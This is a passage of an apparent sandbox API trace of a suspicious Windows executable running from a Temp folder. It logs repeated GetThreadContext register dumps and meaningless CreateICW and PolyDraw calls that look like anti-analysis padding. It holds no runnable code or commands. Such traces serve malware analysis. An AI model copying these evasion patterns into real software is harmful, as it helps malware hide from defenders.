[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.140] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.140] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.141] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.141] GetConsoleCP () returned 0x0
	[0066.141] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.141] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.141] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.141] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.141] GetConsoleCP () returned 0x0
	[0066.141] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.141] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.142] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.142] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.142] GetConsoleCP () returned 0x0
